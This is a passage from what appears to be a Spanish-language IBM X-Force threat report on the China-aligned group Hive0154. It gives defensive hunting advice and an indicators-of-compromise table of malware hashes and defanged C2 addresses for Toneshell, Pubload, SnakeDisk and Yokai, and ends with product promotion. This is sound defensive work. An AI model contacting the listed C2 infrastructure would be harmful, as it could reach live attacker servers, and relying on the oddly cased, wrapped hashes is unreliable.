Hive0154 sigue siendo un actor de amenazas altamente capaz con múltiples subclústeres activos y ciclos de desarrollo frecuentes. X-Force evalúa con gran confianza que los grupos alineados con China como Hive0154 continuarán perfeccionando su gran arsenal de malware y apuntando a organizaciones públicas y privadas de todo el mundo. Es probable que el malware analizado en el informe anterior se encuentre aún en una fase temprana de desarrollo, lo que permitirá a los defensores adoptar mecanismos de detección antes de su uso generalizado. Las entidades en riesgo de espionaje Hive0154 deben permanecer en un estado elevado de seguridad defensiva y permanecer alerta con respecto a las técnicas mencionadas en este informe y revisar las siguientes recomendaciones:

  • Tenga cuidado con los correos electrónicos o archivos PDF que contengan enlaces de descarga de Google Drive, Box Cloud Storage o Dropbox.
  • Ten cuidado con los archivos descargados, incluso si contienen documentos esperados. Entrene al personal para mostrar y reconocer extensiones de archivo inesperadas.
  • Supervise y busque en las redes paquetes de datos de aplicación TLS 1.2 (encabezado: 17 03 03) sin un protocolo de enlace TLS previo como señal de una baliza Pubload o Toneshell.
  • Supervise y busque unidades USB que contengan nombres de ejecutables sospechosos, DLL y directorios ocultos que podrían indicar un dispositivo infectado con un gusano USB.
  • Supervise y busque directorios sospechosos y desconocidos en C:\ProgramData\ que contengan un EXE legítimo vulnerable a la carga lateral de DLL y una DLL correspondiente.
  • Supervise y busque técnicas de persistencia en el registro y las tareas programadas.
  • Busque los procesos, el tráfico de red y los IOC detallados en este informe.
  • Supervise cualquier actividad inusual de red, persistencia o modificación de archivos procedente de ejecutables de procesos aparentemente benignos que descarguen una DLL maliciosa.

Indicadores de compromiso

Indicador

Tipo de indicador

Contexto

F8B28CAE687BD55A148D363D58F1
3a797486f12221f0e0d080ffb53611
d54231

SHA256

Archivo armado que entrega Toneshell 8

8132beeb25ce7baed0b561922d26
4b2a9852957df7b6a3daacfbb3a9
69485c79

SHA256

Archivo armado que entrega Toneshell 8

d1466dca25e28f0b7fae71d5c2abc0
7b397037a9e674f38602690e96cc5
b2bd4

SHA256

Archivo armado que entrega Toneshell 8

1272a0853651069ed4dc505007e85
25f99e1454f9e033bcc2e58d60fdaf
a4f02

SHA256

Archivo armado que entrega Toneshell 8

b8c31b8d8af9e6eae15f30019e39c
52b1a53aa1c8b0c93c8d075254ed
10d8dfc 

SHA256

Archivo armado que entrega Toneshell7

7087e84f69c47910fd39c3869a70
6e55324783af8d03465a9e7bfde
52fe4d1d6 

SHA256

Archivo armado que entrega Pubload

38fcd10100f1bfd75f8dc0883b0c
2cb48321ef1c57906798a422f2a2
de17d50c 

SHA256

Archivo armado que entrega Pubload

69cb87b2d8ee50f46dae791b5a0
c5735a7554cc3c21bb1d989baa0f3
8c45085c

SHA256

PDF que contiene la URL de descarga del archivo armado

564a03763879aaed4da8a8c1d60
67f4112d8e13bb46c2f80e0fcb9ffd
d40384c

SHA256

Loader inyectando Toneshell7

e4bb60d899699fd84126f9fa0df
f72314610c56fffca3d11f3b6fc93fc
b75e00 

SHA256

Loader inyectando Pubload

c2d1ff85e9bb8feb14fd015dcee1
66c2e52e226c07e23acc348815
c0eb4608 

SHA256

Loader inyectando Pubload

188.208.141[.]196

IPv4

Servidor C2 de Pubload

bdbc936ddc9234385317c4ee83
bda087e389235c4a182736fc597
565042f7644

SHA256

Puerta trasera Toneshell8

f0fec3b271b83e23ed7965198f3b
00EECE45BD836BF10C038E99106
75bafefb1

SHA256

Puerta trasera Toneshell8

e7b29611c789a6225aebbc9fee37
10a57b51537693cb2ec16e2177c22
392b546

SHA256

Puerta trasera Toneshell8

9ca5b2cbc3677a5967c448d9d21
EB56956898ccd08c06b372c6471f
b68d37d7d

SHA256

Puerta trasera Toneshell8

146.70.29[.]229

IPv4

Servidor C2 Toneshell7/Toneshell8

318a1ebc0692d1d012d20d306
d6634b196cc387b1f4bc38f97d
d437F117c7E20

SHA256

Puerta trasera Toneshell9

0d632a8f6dd69566ad98db56
e53c8f16286a59ea2bea81c2761
d43b6ab4ecafd

SHA256

Archivo armado que entrega Toneshell9

39e7bbcceddd16f6c4f2fc2335a
50c534e182669cb5fa90cbe29e
49ec6dfd0df

SHA256

Archivo armado que entrega Toneshell9

05eb6a06b404b6340960d7a6
cf6b1293e706ce00d7cba9a8b7
2b3780298dc25d

SHA256

Cargador que contiene la bifurcación Toneshell que sirvió de base para Toneshell9

123.253.34[.]44

IPv4

Servidor C2 de Toneshell9

www.slickvpn[.]com

Dominio

Servidor C2 de Toneshell9

dd694aaf44731da313e4594d
6ca34a6b8e0fcce505e39f827
3b9242fdf6220e0

SHA256

Gusano USB de SnakeDisk

bb5bb82e5caf7d4dbbe878b7
5b23f793a5f3c5ca6dba70d8b
e447e8c004d26CE 

SHA256

La carga útil EXE benigna de SnakeDisk se usa para la instalación de DLL en Yokai

35bec1d8699d29c27b66e564
6e58d25ce85ea1e41481d048b
cea89EA94F8FB4B 

SHA256

DLL de puerta trasera de Yokai

http://118.174.183[.]89/kptinfo
/import/index.php

URL

Servidor Yokai C2

IBM X-Force Premier Threat Intelligence ahora está integrado con OpenCTI by Filigran, proporcionando inteligencia de amenazas procesable sobre esta actividad de amenazas y más. Acceda a conocimientos sobre los actores de amenazas, el malware y los riesgos del sector. Instale X-Force OpenCTI Connector para mejorar la detección y la respuesta, reforzando su ciberseguridad con la experiencia de IBM X-Force. ¡Obtenga una prueba de 30 días de X-Force Premier Threat Intelligence hoy mismo!

Soluciones relacionadas
Servicios de gestión de amenazas

Pronostique, prevenga y responda a las amenazas modernas, aumentando la resiliencia de su empresa.

 

Explore los servicios de gestión de amenazas
Soluciones de detección y respuesta a amenazas

Utilice las soluciones de detección y respuesta a amenazas de IBM para reforzar su seguridad y acelerar la detección de amenazas.

Explore las soluciones de detección de amenazas
Soluciones de defensa contra amenazas móviles (MTD)

Proteja su entorno móvil con las completas soluciones de defensa frente a amenazas móviles de IBM MaaS360.

Explore las soluciones de defensa frenta a amenazas móviles
Dé el siguiente paso

Obtenga soluciones integrales de gestión de amenazas para proteger de forma experta a su empresa de los ciberataques.

  1. Explore los servicios de gestión de amenazas
  2. Concierte una sesión informativa centrada en las amenazas